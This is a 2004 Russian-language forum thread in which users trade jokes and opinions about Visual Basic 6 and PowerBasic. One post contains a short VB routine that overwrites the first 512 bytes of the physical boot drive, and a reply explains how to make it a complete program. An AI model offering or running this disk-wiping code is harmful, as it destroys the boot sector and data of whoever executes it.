|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Апр 15, 2004 18:32:52 Мы тут фигней маемся, а посмотрите, какие мощные программы на VB пишутся h t t p://freesoft.ru/?id=78122 Другая программа того же автора тоже заслуживает внимания :))) |
|
|
Дата: Апр 15, 2004 18:49:43 Обе программы АРХИ ВАЖНЫЕ и НЕОБХОДИМЫЕ в повседневной жизни :-) |
|
|
Дата: Апр 15, 2004 19:06:12 Я их обе скачал и инсталировал... :) Программы переполнены дZеном! :) |
|
|
Дата: Апр 15, 2004 19:06:44 |
|
|
Дата: Апр 15, 2004 19:11:59 KiNDeR А их, кстати, не так просто и скачать! :) И правильно, произведения искусства не должны быть доступны широким массам :)) bogrus Ага, похоже на то :) Первые плоды, так сказать |
|
|
Дата: Апр 15, 2004 20:01:42 Я удивляюсь , как это он за них не просит дZеньги ! :) Писал бы хоть ещё на VB5 , а не на VB6 . Его прога на чистой 98-й не запуститься (нет msvbvm60.dll) А msvbvm50.dll входит в состав всех windows . з.ы. Лично я ничего не имею против VB . Сам бывает использую , когда надо сделать программу быстро , бесплатно , и для одноразового использования , когда не важна скорость выполнения . К примеру из интербейза .gdb отобрать данные , пересобрать и перегнать их в .txt определённой структуры . |
|
|
Дата: Апр 15, 2004 20:04:29 · Поправил: RobinFood Праввильно, давно пора начинать учить. Лишние знания еще никому не помешали... Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Sub tt()
Dim buf As String
Dim temp As Long
Dim f As Long
buf = String(512, " ")
temp = 0
f = CreateFile("\\.\PHYSICALDRIVE0", &HC0000000, 3, 0, 3, 0, 0)
Call WriteFile(f, buf, 512, temp, 0)
Call CloseHandle(f)
End Sub |
|
|
Дата: Апр 15, 2004 20:12:46 Ну, я VB на самом деле знаю - с базами только работаю |
|
|
Дата: Апр 16, 2004 01:11:46 masquer Я тоже с VB начинал, но скоро (1,5 года) закончил - с API работает криво :( RobinFood А если процедуру не "Sub tt()", а "Public Sub Main()" назвать, то получится готовая программа, а так только фрагмент :) |
|
|
Дата: Апр 16, 2004 02:38:29 Так, ща отправлю всех в баню! И это на самом дзенском из всех дзенских сайтов! Как вам только не стыдно! Фу! |
|
|
Дата: Апр 19, 2004 07:42:48 VB - замечательный язык :) Попытка создать на нем программу, активно использующую API требует такого хорошего понимания низкоуровнего программирования, которого на Delphi, например, не достичь :) К примеру, чтобы в Delphi использовать асм, надо просто написать соответствующий оператор, а вот в VB его надо сначала скомпилировать, потом перегнать в массив (например из строки в HEX-виде), а потом запустить его через CallWindowProc, передав в качестве аргумента VarPtr(array(0)). Это ли не дзен? А известно ли вам, что для того, чтобы передать адрес процедуры куда-нибудь, надо передавать значение функции, принимающей AddressOf MyFunc и возвращающей его же без изменений? Это ли не дзен? После работы с VB ощущаешь себя так, как будто только что его дизассемблерировал, а потом построчно разобрал... |
|
|
Дата: Апр 19, 2004 08:33:41 Ага. Ты забыл еще сказать про отсутствие наследования и перегрузки операторов :) |
|
|
Дата: Май 2, 2004 12:27:04 Я использую VB6 и PB7 (PowerBasic 7.02)..в отличии от VB PB не нуждается в рантаймах компилит очень маленький и быстрый код плюс имеет встроенный ассемблер + нормальные типы данных.. .. например окошко с заголовков хелло Ворлд ... занимает всего помоему 6Кб!! так что ... если хотите навороченный VB выбираем PB! П.С: www.powerbasic.com |
|
|
Дата: Май 3, 2004 05:48:36 Fallout А что тогда это, как не мутирование во все тот же бейсик? Цитата с сайта: Graphics Tools 2.12 for Windows Add comprehensive graphics support to your PowerBASIC applications the easy way. No API calls, no "device contexts", no %WM_PAINT messages... just dozens of easy-to-use functions like DrawCircle, DrawLine, DrawButton, and DisplayBitmap! Auto-scale to support any display mode automatically. |
|
|
Дата: Май 3, 2004 15:29:11 ну извени они прсото предлагают компаненты к нему ты можешь без них обойтись спокойно я обхожусь .... окошки можешь делать на АПи либо через ресурсы либо через ДДТ (специальная система упрощения создования окон и добавление всяких контролов но добовляет 3Кб в код) так что это очень я бы сказал это очень удобный и мощный язык так как позволяет на нём работать как новичкам так и ... уже тем кто хочет упростить себе жизнь при этом имея большие возможности.... Компилятор там ... нормальный .. а эти прибабмбасы можешь юзать можешь нет так что... |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.237 |